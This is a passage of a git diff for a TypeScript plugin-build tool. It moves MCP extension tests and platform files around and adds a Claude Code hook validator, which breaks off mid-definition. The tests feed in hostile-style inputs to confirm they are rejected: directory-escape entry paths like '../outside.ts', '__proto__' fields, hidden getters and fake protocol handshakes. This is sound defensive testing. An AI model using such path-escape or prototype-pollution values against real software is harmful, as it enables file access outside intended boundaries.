fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), ` -import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default ${options.local ?? `{ - transport: 'stdio', - env: { LOG_LEVEL: { value: 'warn' }, API_TOKEN: { env: 'LOCAL_TOKEN' } }, -}`} satisfies McpServer; -`); - await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), options.serverSource ?? ` -import { serverName } from 'mcp-fixture-dependency'; -let buffer = ''; -process.stdin.setEncoding('utf8'); -process.stdin.on('data', (chunk) => { - buffer += chunk; - const lines = buffer.split('\\n'); - buffer = lines.pop() ?? ''; - for (const line of lines.filter(Boolean)) { - const message = JSON.parse(line); - if (message.method === 'initialize') { - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { - protocolVersion: message.params.protocolVersion, - capabilities: { tools: {} }, - serverInfo: { name: serverName, version: '1.0.0' }, - } }) + '\\n'); - } else if (message.method === 'tools/list') { - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { tools: [] } }) + '\\n'); - } - } -}); -`); - } - await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` -import mcp from '@tokenroll/acplugin-extension-mcp'; -import claudeCode from '@tokenroll/acplugin-platform-claude-code'; -import codex from '@tokenroll/acplugin-platform-codex'; -export default { - name: 'mcp-fixture', - version: '1.0.0', - description: 'MCP integration fixture.', - platforms: [claudeCode(), codex()], - extensions: [mcp(${options.mcpOptions ?? ''})], - ${options.configFields ?? 'build: { strict: false },'} -}; -`); - return root; -} - -afterEach(async () => { - await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); -}); - -describe('MCP Extension', () => { - it('exposes plain descriptor types, filters resources, and rejects invalid options', async () => { - /** 公开工厂创建的默认 MCP Extension。 */ - const extension = mcp(); - expect(EXTENSION_NAME).toBe('@tokenroll/acplugin-extension-mcp'); - expect(extension.id).toBe('mcp'); - expect(extension.resourceRoots).toEqual(['mcp']); - expect(Object.isFrozen(extension)).toBe(true); - expect(() => mcp({ include: ['docs', 'docs'] })).toThrow('duplicate ID'); - expect(() => mcp({ include: ['Not-Kebab'] })).toThrow('lowercase kebab-case'); - expect(() => mcp({ include: ['mcp-é'] })).toThrow('lowercase kebab-case'); - expect(() => mcp({ unknown: true } as never)).toThrow('Unknown MCP option'); - - /** include 只选择远程 Server 的真实工程。 */ - const root = await createProject({ mcpOptions: `{ include: ['docs'] }` }); - /** 筛选后的双 Platform 构建结果。 */ - const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - expect(result.success).toBe(true); - await expect(fs.access(path.join(root, 'dist/codex/plugin/mcp/local-tools/server.mjs'))).rejects.toThrow(); - expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/plugin/.mcp.json'), 'utf8'))) - .toHaveProperty('docs.url', 'https://mcp.example.com/mcp'); - }); - - it('uses locale-independent code-unit ordering for deterministic internal maps', () => { - /** 非 ASCII 样本证明排序不委托给宿主 locale 或 ICU。 */ - const values = ['é', 'z', 'ä', 'a']; - expect(values.sort(compareCodeUnits)).toEqual(['a', 'z', 'ä', 'é']); - }); - - it('rejects non-enumerable descriptor accessors without evaluating them', async () => { - /** 不可枚举 getter 不能绕过 plain descriptor 的无行为数据边界。 */ - const root = await createProject({ - local: false, - remote: `(() => { - const value = { transport: 'http', url: 'https://mcp.example.com/mcp' }; - Object.defineProperty(value, 'hidden', { get() { throw new Error('MUST_NOT_RUN'); } }); - return value; - })() as never`, - }); - /** discover 以稳定错误码拒绝,并且原始 getter 文本不进入诊断。 */ - const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); - expect(JSON.stringify(result.diagnostics)).not.toContain('MUST_NOT_RUN'); - }); - - it('rejects non-enumerable unknown descriptor fields', async () => { - /** data property 即使不可枚举也必须保留到 HTTP Server Schema 检查。 */ - const root = await createProject({ - local: false, - remote: `(() => { - const value = { transport: 'http', url: 'https://mcp.example.com/mcp' }; - Object.defineProperty(value, 'hidden', { value: true }); - return value; - })() as never`, - }); - /** 隐藏字段不能因 Module Service 快照规则而消失。 */ - const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_FIELD_UNKNOWN' })); - }); - - it('rejects array accessors, custom fields, Symbols and __proto__ fields without executing accessors', async () => { - /** nested array getter 写 stdout;若被执行会直接破坏子进程 JSON 协议并使测试失败。 */ - const accessorRoot = await createProject({ - local: false, - remote: `(() => { - const scopes = []; - Object.defineProperty(scopes, '0', { get() { process.stdout.write('GETTER_EXECUTED'); return 'docs:read'; } }); - Object.defineProperty(scopes, 'length', { value: 1 }); - const value = { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; - Object.defineProperty(value, '__proto__', { value: true }); - return value; - })() as never`, - }); - /** 快照必须在执行 getter 前拒绝整个 descriptor。 */ - const accessor = await runProject({ cwd: accessorRoot, command: 'validate', mode: 'production' }); - - expect(accessor.success).toBe(false); - expect(accessor.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); - - /** 类似索引的自定义字段也不能被 snapshot 静默忽略。 */ - const fieldRoot = await createProject({ - local: false, - remote: `(() => { - const scopes = ['docs:read']; - Object.defineProperty(scopes, '01', { value: 'docs:write' }); - return { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; - })() as never`, - }); - /** 伪索引必须在 discover 数据边界失败。 */ - const field = await runProject({ cwd: fieldRoot, command: 'validate', mode: 'production' }); - - expect(field.success).toBe(false); - expect(field.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_FIELD_UNKNOWN' })); - - /** 字符串字段检查不能遗漏数组自身携带的 Symbol。 */ - const symbolRoot = await createProject({ - local: false, - remote: `(() => { - const scopes = ['docs:read']; - Object.defineProperty(scopes, Symbol.for('hidden'), { value: true }); - return { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; - })() as never`, - }); - /** Symbol 不能进入纯 JSON descriptor State。 */ - const symbol = await runProject({ cwd: symbolRoot, command: 'validate', mode: 'production' }); - - expect(symbol.success).toBe(false); - expect(symbol.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); - }); - - it('builds remote and local Servers once without reading or leaking Secret values', async () => { - /** 同时覆盖 HTTP、stdio、环境引用和第三方许可的工程。 */ - const root = await createProject(); - /** 用可检测的 Secret 值证明构建阶段只保留变量名称。 */ - const secret = 'MUST_NOT_APPEAR_IN_BUILD_OUTPUT_9f6a'; - /** 完整提交双 Platform 交付单元的构建结果。 */ - const result = await runProject( - { cwd: root, command: 'build', mode: 'production' }, - { DOCS_TOKEN: secret, DOCS_TENANT: secret, LOCAL_TOKEN: secret }, - ); - expect(result.success).toBe(true); - - /** Claude Code wrapped MCP 清单。 */ - const claude = JSON.parse(await fs.readFile( - path.join(root, 'dist/claude-code/plugin/.mcp.json'), - 'utf8', - )) as Record; - /** Codex direct MCP 清单。 */ - const codex = JSON.parse(await fs.readFile( - path.join(root, 'dist/codex/plugin/.mcp.json'), - 'utf8', - )) as Record; - expect(claude).toHaveProperty('mcpServers.docs.headers.Authorization', 'Bearer ${DOCS_TOKEN}'); - expect(claude).toHaveProperty('mcpServers.local-tools.args.0', '${CLAUDE_PLUGIN_ROOT}/mcp/local-tools/server.mjs'); - expect(codex).toMatchObject({ - 'docs': { - url: 'https://mcp.example.com/mcp', - bearer_token_env_var: 'DOCS_TOKEN', - env_http_headers: { 'X-Tenant': 'DOCS_TENANT' }, - http_headers: { 'X-Client': 'acplugin-test' }, - }, - 'local-tools': { - command: 'node', - args: ['./mcp/local-tools/server.mjs'], - cwd: '.', - env: { LOG_LEVEL: 'warn' }, - env_vars: ['LOCAL_TOKEN'], - }, - }); - expect(JSON.stringify({ result, claude, codex })).not.toContain(secret); - - /** 两个平台复用同一平台中立 Server Bundle。 */ - const claudeServer = path.join(root, 'dist/claude-code/plugin/mcp/local-tools/server.mjs'); - /** Codex 安装包中的同一 Server Bundle。 */ - const codexServer = path.join(root, 'dist/codex/plugin/mcp/local-tools/server.mjs'); - expect(await fs.readFile(claudeServer)).toEqual(await fs.readFile(codexServer)); - expect((await fs.stat(codexServer)).mode & 0o111).not.toBe(0); - expect(await fs.readFile( - path.join(root, 'dist/codex/plugin/mcp/local-tools/THIRD_PARTY_LICENSES.txt'), - 'utf8', - )).toContain('mcp-fixture-dependency@4.5.6'); - - /** 使用真实 initialize/list-tools JSON-RPC 流验证安装产物可执行。 */ - const protocolInput = [ - JSON.stringify({ - jsonrpc: '2.0', id: 1, method: 'initialize', - params: { protocolVersion: '2025-11-25', capabilities: {}, clientInfo: { name: 'test', version: '1.0.0' } }, - }), - JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }), - JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }), - '', - ].join('\n'); - /** 本地 Bundle 的实际协议响应。 */ - const execution = await executeNode([codexServer], protocolInput); - expect(execution).toMatchObject({ code: 0, stderr: '' }); - expect(execution.stdout.trim().split('\n').map(line => JSON.parse(line))).toEqual([ - expect.objectContaining({ id: 1, result: expect.objectContaining({ serverInfo: { name: 'fixture', version: '1.0.0' } }) }), - { jsonrpc: '2.0', id: 2, result: { tools: [] } }, - ]); - }); - - it('enforces production URL, value-source, entry, and include safety', async () => { - /** 使用 HTTP、非法认证和值来源的远程定义。 */ - const remoteRoot = await createProject({ - local: false, - remote: `{ - transport: 'http', - url: 'http://example.com/mcp', - auth: { type: 'bearer', env: 'INVALID-NAME' }, - headers: { 'X-Secret': { value: 'public', env: 'PRIVATE_TOKEN' } }, - } as never`, - mcpOptions: `{ include: ['docs'] }`, - }); - /** 远程安全策略产生的结构化失败结果。 */ - const remote = await runProject({ cwd: remoteRoot, command: 'validate', mode: 'production' }); - expect(remote.success).toBe(false); - expect(remote.diagnostics).toEqual(expect.arrayContaining([ - expect.objectContaining({ code: 'MCP_HTTPS_REQUIRED' }), - expect.objectContaining({ code: 'MCP_BEARER_INVALID' }), - expect.objectContaining({ code: 'MCP_VALUE_SOURCE_INVALID' }), - ])); - /** 单独工程验证 include 指向不存在资源时的诊断。 */ - const includeRoot = await createProject({ local: false, mcpOptions: `{ include: ['missing'] }` }); - /** 执行 include fixture 并读取稳定诊断。 */ - const include = await runProject({ cwd: includeRoot, command: 'validate', mode: 'production' }); - expect(include.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_INCLUDE_MISSING' })); - - /** 使用目录逃逸入口的本地定义。 */ - const localRoot = await createProject({ - remote: false, - local: `{ transport: 'stdio', entry: '../outside.ts' }`, - }); - /** 入口边界验证必须在 Bundle 之前失败。 */ - const local = await runProject({ cwd: localRoot, command: 'validate', mode: 'production' }); - expect(local.success).toBe(false); - expect(local.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_ENTRY_ESCAPE' })); - }); - - it('enforces exact transport, auth, URL, and stdio entry variants', async () => { - /** HTTP 不能携带 stdio 字段,none auth 不能携带 bearer 字段。 */ - const httpRoot = await createProject({ - local: false, - remote: `{ transport: 'http', url: 'https://mcp.example.com/mcp', entry: 'server.ts', env: {}, auth: { type: 'none', env: 'TOKEN' } } as never`, - }); - /** 跨判别分支字段必须在 Extension validate 阶段失败。 */ - const http = await runProject({ cwd: httpRoot, command: 'validate', mode: 'production' }); - expect(http.success).toBe(false); - expect(http.diagnostics.filter(diagnostic => diagnostic.code === 'MCP_FIELD_UNKNOWN').length).toBeGreaterThanOrEqual(3); - - /** bearer 与 oauth 认证分支各自拒绝另一分支的字段。 */ - for (const auth of [ - `{ type: 'bearer', env: 'TOKEN', scopes: ['docs:read'] }`, - `{ type: 'oauth', scopes: ['docs:read'], env: 'TOKEN' }`, - ]) { - /** 当前认证分支交叉字段的独立 HTTP fixture。 */ - const authRoot = await createProject({ - local: false, - remote: `{ transport: 'http', url: 'https://mcp.example.com/mcp', auth: ${auth} } as never`, - }); - /** exact discriminated union 必须在领域 validate 阶段拒绝交叉字段。 */ - const authResult = await runProject({ cwd: authRoot, command: 'validate', mode: 'production' }); - expect(authResult.success).toBe(false); - expect(authResult.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_FIELD_UNKNOWN' })); - } - - /** stdio 不能携带 HTTP 字段或任何 HTTP auth。 */ - const stdioRoot = await createProject({ - remote: false, - local: `{ transport: 'stdio', entry: 'server.ts', url: 'https://mcp.example.com', headers: {}, auth: { type: 'bearer', env: 'TOKEN' } } as never`, - }); - /** 顶层 transport exact union 不依赖 TypeScript 静态检查。 */ - const stdio = await runProject({ cwd: stdioRoot, command: 'validate', mode: 'production' }); - expect(stdio.success).toBe(false); - expect(stdio.diagnostics.filter(diagnostic => diagnostic.code === 'MCP_FIELD_UNKNOWN').length).toBeGreaterThanOrEqual(3); - - /** development 也只允许 HTTPS 或 loopback HTTP,不能放行其他 scheme。 */ - const schemeRoot = await createProject({ local: false, remote: `{ transport: 'http', url: 'ftp://localhost/mcp' }` }); - /** 非 HTTP(S) scheme 必须产生稳定 URL 失败。 */ - const scheme = await runProject({ cwd: schemeRoot, command: 'validate', mode: 'development' }); - expect(scheme.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_URL_INVALID' })); - - /** 文档化的 canonical entry 和 development loopback URL 都合法。 */ - const validRoot = await createProject({ remote: `{ transport: 'http', url: 'http://127.0.0.1:3000/mcp' }`, local: `{ transport: 'stdio', entry: 'server.ts' }` }); - /** validate 不执行 stdio smoke,但应完整通过作者 schema。 */ - const valid = await runProject({ cwd: validRoot, command: 'validate', mode: 'development' }); - expect(valid.success).toBe(true); - - /** dot、空 segment、反斜线和父目录 spelling 都不能被静默 normalize。 */ - for (const entry of ['./server.ts', '.', 'nested//server.ts', 'nested\\server.ts', '../server.ts', '/server.ts']) { - /** 每个非法 spelling 使用独立工程,避免诊断相互掩盖。 */ - const root = await createProject({ remote: false, local: `{ transport: 'stdio', entry: ${JSON.stringify(entry)} }` }); - /** 路径语法错误必须与真实缺失文件区分。 */ - const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: entry.startsWith('/') || entry.includes('../') ? 'MCP_ENTRY_ESCAPE' : 'MCP_ENTRY_INVALID', - })); - expect(result.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MCP_ENTRY_MISSING' })); - } - }); - - it('accepts a complete server implemented with the official MCP SDK', async () => { - /** SDK Server 提供真实 initialize 协商和 tools/list handler。 */ - const root = await createProject({ - remote: false, - serverSource: ` -import { Server } from '@modelcontextprotocol/sdk/server/index.js'; -import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; -import { ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; -const server = new Server({ name: 'sdk-fixture', version: '1.0.0' }, { capabilities: { tools: {} } }); -server.setRequestHandler(ListToolsRequestSchema, async () => ({ tools: [] })); -await server.connect(new StdioServerTransport()); -`, - }); - /** 真实 SDK 响应必须通过同一 Core Execution Host smoke。 */ - const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - expect(result.success, JSON.stringify(result)).toBe(true); - expect(result.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED' })); - }); - - it('rejects protocol-shaped output that is not a valid MCP handshake', async () => { - /** 所有 case 都会正常退出并打印 JSON,差异只在 JSON-RPC/MCP shape。 */ - const validInitialize = { jsonrpc: '2.0', id: 1, result: { protocolVersion: '2025-11-25', capabilities: {}, serverInfo: { name: 'fixture', version: '1.0.0' } } }; - /** 标准空 tool list 响应。 */ - const validTools = { jsonrpc: '2.0', id: 2, result: { tools: [] } }; - /** 旧实现会误接受的响应及各类 envelope/result 反例。 */ - const cases: readonly (readonly unknown[])[] = [ - [{ id: 1, result: {} }, { id: 2, result: {} }], - [validInitialize, validInitialize, validTools], - [{ jsonrpc: '2.0', id: 1, error: { code: -32_000, message: 'failed' } }, validTools], - [{ ...validInitialize, jsonrpc: '1.0' }, validTools], - [{ jsonrpc: '2.0', id: 1, result: 'initialized' }, validTools], - [validInitialize, { jsonrpc: '2.0', id: 2, result: { tools: [{ name: 'broken' }] } }], - ]; - for (const messages of cases) { - /** Fixture 不解析输入,只伪造旧 validator 所需的两行 JSON。 */ - const stdout = `${messages.map(message => JSON.stringify(message)).join('\n')}\n`; - /** 每个反例独立编译和执行,证明失败发生在真实 Extension build path。 */ - const root = await createProject({ remote: false, serverSource: `process.stdout.write(${JSON.stringify(stdout)});\n` }); - /** 伪 handshake 不得形成可提交 Platform candidate。 */ - const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED', phase: 'compile' })); - } - }); - - it('rejects local bundles that fail the MCP protocol smoke in both build modes', async () => { - /** mode 表示当前必须执行真实 initialize/tools-list 探测的构建模式。 */ - for (const mode of ['development', 'production'] as const) { - /** 立即退出且不响应 initialize 的无效本地实现。 */ - const root = await createProject({ - remote: false, - serverSource: 'process.exit(0);\n', - }); - /** 两种模式都必须在提交任何 Platform 产物前执行真实协议探测。 */ - const result = await runProject({ cwd: root, command: 'build', mode }); - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'MCP_STDIO_SMOKE_FAILED', - phase: 'compile', - })); - await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); - } - }); - - it('rejects unresolved runtime dynamic imports in local MCP bundles', async () => { - /** Rolldown 无法静态解析且会原样保留到运行时的动态 import。 */ - const root = await createProject({ - remote: false, - serverSource: 'await import(process.argv[2]);\n', - }); - /** 不完整模块图由 Extension build 阶段拒绝。 */ - const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'BUILD_UNRESOLVED_IMPORT', - phase: 'compile', - })); - }); -}); diff --git a/packages/extensions/mcp/test/protocol.test.ts b/packages/extensions/mcp/test/protocol.test.ts new file mode 100644 index 0000000..12a958c --- /dev/null +++ b/packages/extensions/mcp/test/protocol.test.ts @@ -0,0 +1,88 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { createProject, runProject } from './fixture.js'; + +describe('MCP Extension protocol', () => { + it('accepts a complete server implemented with the official MCP SDK', async () => { + /** SDK Server 提供真实 initialize 协商和 tools/list handler。 */ + const root = await createProject({ + remote: false, + serverSource: ` +import { Server } from '@modelcontextprotocol/sdk/server/index.js'; +import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; +import { ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; +const server = new Server({ name: 'sdk-fixture', version: '1.0.0' }, { capabilities: { tools: {} } }); +server.setRequestHandler(ListToolsRequestSchema, async () => ({ tools: [] })); +await server.connect(new StdioServerTransport()); +`, + }); + /** 真实 SDK 响应必须通过同一 Core Execution Host smoke。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success, JSON.stringify(result)).toBe(true); + expect(result.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED' })); + }); + + it('rejects protocol-shaped output that is not a valid MCP handshake', async () => { + /** 所有 case 都会正常退出并打印 JSON,差异只在 JSON-RPC/MCP shape。 */ + const validInitialize = { jsonrpc: '2.0', id: 1, result: { protocolVersion: '2025-11-25', capabilities: {}, serverInfo: { name: 'fixture', version: '1.0.0' } } }; + /** 标准空 tool list 响应。 */ + const validTools = { jsonrpc: '2.0', id: 2, result: { tools: [] } }; + /** 旧实现会误接受的响应及各类 envelope/result 反例。 */ + const cases: readonly (readonly unknown[])[] = [ + [{ id: 1, result: {} }, { id: 2, result: {} }], + [validInitialize, validInitialize, validTools], + [{ jsonrpc: '2.0', id: 1, error: { code: -32_000, message: 'failed' } }, validTools], + [{ ...validInitialize, jsonrpc: '1.0' }, validTools], + [{ jsonrpc: '2.0', id: 1, result: 'initialized' }, validTools], + [validInitialize, { jsonrpc: '2.0', id: 2, result: { tools: [{ name: 'broken' }] } }], + ]; + for (const messages of cases) { + /** Fixture 不解析输入,只伪造旧 validator 所需的两行 JSON。 */ + const stdout = `${messages.map(message => JSON.stringify(message)).join('\n')}\n`; + /** 每个反例独立编译和执行,证明失败发生在真实 Extension build path。 */ + const root = await createProject({ remote: false, serverSource: `process.stdout.write(${JSON.stringify(stdout)});\n` }); + /** 伪 handshake 不得形成可提交 Platform candidate。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED', phase: 'compile' })); + } + }); + + it('rejects local bundles that fail the MCP protocol smoke in both build modes', async () => { + /** mode 表示当前必须执行真实 initialize/tools-list 探测的构建模式。 */ + for (const mode of ['development', 'production'] as const) { + /** 立即退出且不响应 initialize 的无效本地实现。 */ + const root = await createProject({ + remote: false, + serverSource: 'process.exit(0);\n', + }); + /** 两种模式都必须在提交任何 Platform 产物前执行真实协议探测。 */ + const result = await runProject({ cwd: root, command: 'build', mode }); + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'MCP_STDIO_SMOKE_FAILED', + phase: 'compile', + })); + await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + } + }); + + it('rejects unresolved runtime dynamic imports in local MCP bundles', async () => { + /** Rolldown 无法静态解析且会原样保留到运行时的动态 import。 */ + const root = await createProject({ + remote: false, + serverSource: 'await import(process.argv[2]);\n', + }); + /** 不完整模块图由 Extension build 阶段拒绝。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'BUILD_UNRESOLVED_IMPORT', + phase: 'compile', + })); + }); +}); diff --git a/packages/platforms/antigravity/src/index.ts b/packages/platforms/antigravity/src/index.ts index c25a16e..073251a 100644 --- a/packages/platforms/antigravity/src/index.ts +++ b/packages/platforms/antigravity/src/index.ts @@ -6,15 +6,15 @@ import { createAntigravityComponents, validateAntigravityComponent, validateGeneratedSkillIds, -} from './components.js'; +} from './package/components.js'; import { createPluginDocument, validatePlatformOptions, type AntigravityPlatformOptions, -} from './manifest.js'; -import { validateAntigravityPackage } from './validator.js'; +} from './package/manifest.js'; +import { validateAntigravityPackage } from './package/validator.js'; -export type { AntigravityPlatformOptions } from './manifest.js'; +export type { AntigravityPlatformOptions } from './package/manifest.js'; /** Antigravity Platform 的稳定开放 ID。 */ export const PLATFORM_ID = 'antigravity' as const; diff --git a/packages/platforms/antigravity/src/components.ts b/packages/platforms/antigravity/src/package/components.ts similarity index 100% rename from packages/platforms/antigravity/src/components.ts rename to packages/platforms/antigravity/src/package/components.ts diff --git a/packages/platforms/antigravity/src/manifest.ts b/packages/platforms/antigravity/src/package/manifest.ts similarity index 100% rename from packages/platforms/antigravity/src/manifest.ts rename to packages/platforms/antigravity/src/package/manifest.ts diff --git a/packages/platforms/antigravity/src/validator.ts b/packages/platforms/antigravity/src/package/validator.ts similarity index 100% rename from packages/platforms/antigravity/src/validator.ts rename to packages/platforms/antigravity/src/package/validator.ts diff --git a/packages/platforms/antigravity/test/platform.test.ts b/packages/platforms/antigravity/test/platform.test.ts index af5a75c..6ce4e68 100644 --- a/packages/platforms/antigravity/test/platform.test.ts +++ b/packages/platforms/antigravity/test/platform.test.ts @@ -9,7 +9,7 @@ import { type AcpluginExtension, } from '@acplugin/core'; import { antigravity } from '../src/index.js'; -import { PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; +import { PLUGIN_MANIFEST_PATH } from '../src/package/manifest.js'; /** 测试结束后统一删除的临时工程根目录。 */ const temporaryRoots: string[] = []; diff --git a/packages/platforms/claude-code/src/index.ts b/packages/platforms/claude-code/src/index.ts index 2a824bf..69ac82e 100644 --- a/packages/platforms/claude-code/src/index.ts +++ b/packages/platforms/claude-code/src/index.ts @@ -3,14 +3,14 @@ import { type AcpluginPlatform, type JsonObject, } from '@tokenroll/acplugin/sdk'; -import { createClaudeComponents, validateClaudeComponent } from './components.js'; +import { createClaudeComponents, validateClaudeComponent } from './package/components.js'; import { createMarketplaceAssets, createPluginDocument, validatePlatformOptions, -} from './manifest.js'; +} from './package/manifest.js'; import type { ClaudeCodeMarketplaceOptions, ClaudeCodePlatformOptions } from './types.js'; -import { validateClaudePackage } from './validator.js'; +import { validateClaudePackage } from './package/validation/index.js'; export type { ClaudeCodeMarketplaceOptions, diff --git a/packages/platforms/claude-code/src/components.ts b/packages/platforms/claude-code/src/package/components.ts similarity index 100% rename from packages/platforms/claude-code/src/components.ts rename to packages/platforms/claude-code/src/package/components.ts diff --git a/packages/platforms/claude-code/src/manifest.ts b/packages/platforms/claude-code/src/package/manifest.ts similarity index 99% rename from packages/platforms/claude-code/src/manifest.ts rename to packages/platforms/claude-code/src/package/manifest.ts index 28f3a60..73b5357 100644 --- a/packages/platforms/claude-code/src/manifest.ts +++ b/packages/platforms/claude-code/src/package/manifest.ts @@ -13,7 +13,7 @@ import type { ClaudeCodeMarketplacePlugin, ClaudeCodePlatformOptions, ClaudeCodePluginManifest, -} from './types.js'; +} from '../types.js'; /** Claude Code Plugin 清单的稳定逻辑 Document ID。 */ export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; diff --git a/packages/platforms/claude-code/src/package/validation/hooks.ts b/packages/platforms/claude-code/src/package/validation/hooks.ts new file mode 100644 index 0000000..f03ff3a --- /dev/null +++ b/packages/platforms/claude-code/src/package/validation/hooks.ts @@ -0,0 +1,315 @@ +/** Claude Code Hook wire contract validator。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue } from '@tokenroll/acplugin/sdk'; +import { + isRecord, + report, + type JsonRecord, + type PlatformValidateContext, +} from './shared.js'; + +/** Claude Code 当前公开的全部 Hook 事件,包括可移植事件和平台专属事件。 */ +const HOOK_EVENTS = new Set([ + 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', 'PermissionRequest', 'PostToolUse', + 'PreCompact', 'PostCompact', 'SubagentStart', 'SubagentStop', 'Stop', 'Setup', 'UserPromptExpansion', + 'PermissionDenied', 'PostToolUseFailure', 'PostToolBatch', 'Notification', 'MessageDisplay', 'TaskCreated', + 'TaskCompleted', 'StopFailure', 'TeammateIdle', 'InstructionsLoaded', 'ConfigChange', 'CwdChanged', + 'DirectoryAdded', 'FileChanged', 'WorktreeCreate', 'WorktreeRemove', 'Elicitation', 'ElicitationResult', +]); + +/** Claude Code Hook 配置文件顶层允许出现的字段。 */ +const HOOK_CONFIG_FIELDS = new Set(['description', 'hooks']); + +/** 单个 Claude Code Hook matcher 分组允许出现的字段。 */ +const HOOK_GROUP_FIELDS = new Set(['matcher', 'hooks']); + +/** Claude Code 当前公开的 Handler 类型。 */ +const HOOK_HANDLER_TYPES = new Set(['command', 'prompt', 'agent', 'http', 'mcp_tool']); + +/** Claude Code 明确允许五类 Handler 的事件。 */ +const HOOK_EVENTS_WITH_ALL_HANDLER_TYPES = new Set([ + 'PermissionDenied', 'PermissionRequest', 'PostToolBatch', 'PostToolUse', 'PostToolUseFailure', + 'PreToolUse', 'Stop', 'SubagentStop', 'TaskCompleted', 'TaskCreated', 'TeammateIdle', + 'UserPromptExpansion', 'UserPromptSubmit', +]); + +/** Claude Code 允许 command/http/mcp_tool、但不允许 prompt/agent 的事件。 */ +const HOOK_EVENTS_WITH_COMMAND_HTTP_MCP_TYPES = new Set([ + 'ConfigChange', 'CwdChanged', 'DirectoryAdded', 'Elicitation', 'ElicitationResult', 'FileChanged', + 'InstructionsLoaded', 'Notification', 'PostCompact', 'PreCompact', 'SessionEnd', 'StopFailure', + 'SubagentStart', 'WorktreeCreate', 'WorktreeRemove', +]); + +/** Claude Code 只允许 command 和 mcp_tool 的启动类事件。 */ +const HOOK_EVENTS_WITH_COMMAND_MCP_TYPES = new Set(['SessionStart', 'Setup']); + +/** 非 prompt/agent 事件共同使用的三类 Handler。 */ +const HOOK_HANDLER_COMMAND_HTTP_MCP_TYPES = new Set(['command', 'http', 'mcp_tool']); + +/** 启动类事件共同使用的两类 Handler。 */ +const HOOK_HANDLER_COMMAND_MCP_TYPES = new Set(['command', 'mcp_tool']); + +/** 未出现在官方类型矩阵中的事件使用最保守 command 契约。 */ +const HOOK_HANDLER_COMMAND_ONLY = new Set(['command']); + +/** 所有 Claude Code Handler 类型共同允许出现的执行字段。 */ +const HOOK_HANDLER_COMMON_FIELDS = ['type', 'if', 'timeout', 'statusMessage', 'once'] as const; + +/** 不同 Claude Code Handler 类型允许出现的字段。 */ +const HOOK_HANDLER_FIELDS: Readonly>> = Object.freeze({ + command: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'command', 'args', 'async', 'asyncRewake', 'shell']), + prompt: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'prompt', 'model']), + agent: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'prompt', 'model']), + http: new 